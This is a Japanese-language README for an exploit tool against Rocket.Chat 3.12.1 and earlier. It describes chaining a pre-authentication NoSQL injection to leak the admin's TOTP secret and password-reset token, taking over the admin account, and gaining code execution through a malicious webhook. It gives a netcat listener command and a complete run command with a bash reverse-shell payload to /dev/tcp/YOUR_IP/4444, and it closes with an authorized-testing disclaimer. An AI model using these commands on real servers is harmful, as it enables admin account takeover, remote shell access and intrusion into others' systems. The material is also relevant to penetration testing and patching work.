
Rocket.Chat 3.12.1 の RCE エクスプロイト。認証前の NoSQL インジェクションを介して管理者の TOTP シークレットとパスワードリセットトークンを漏洩させ、悪意のある Webhook 統合を介してリモートコード実行を達成します。
Rocket.Chat 3.12.1 の認証前のNoSQLインジェクションの脆弱性を悪用して、管理者のTOTPシークレットとパスワードリセットトークンを漏洩させ、管理者アカウントを乗っ取り、悪意のあるWebhook統合を介してRCEを達成します。
Rocket.Chat <= 3.12.1
pip install -r requirements.txt
エクスプロイトを実行する前に、別のターミナルでnetcatリスナーを起動して、着信するリバースシェルをキャッチします。
nc -lvnp 4444
このターミナルは開いたままにしておいてください。エクスプロイトが正常に実行されると、ここにシェルが表示されます。
python3 pwn_rocketchat.py \
-t 'http://TARGET:3000' \
-u 'USERNAME' \
-p 'PASSWORD' \
-e '[email protected]' \
-a 'adminusername' \
-c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
| フラグ | 説明 |
|---|---|
-t | ターゲットのRocket.Chat URL |
-u | 登録済みの低権限ユーザー名 |
-p | 登録済みの低権限パスワード |
-e | 管理者のメールアドレス |
-a | 管理者のユーザー名 |
-c | リバースシェルコマンド |
-v | 冗長モード(生の応答を表示) |
このツールは教育目的および許可されたペネトレーションテスト専用です。作者はこのツールの誤用または損害について一切の責任を負いません。テストを実施する前に、必ず適切な書面による許可を得てください。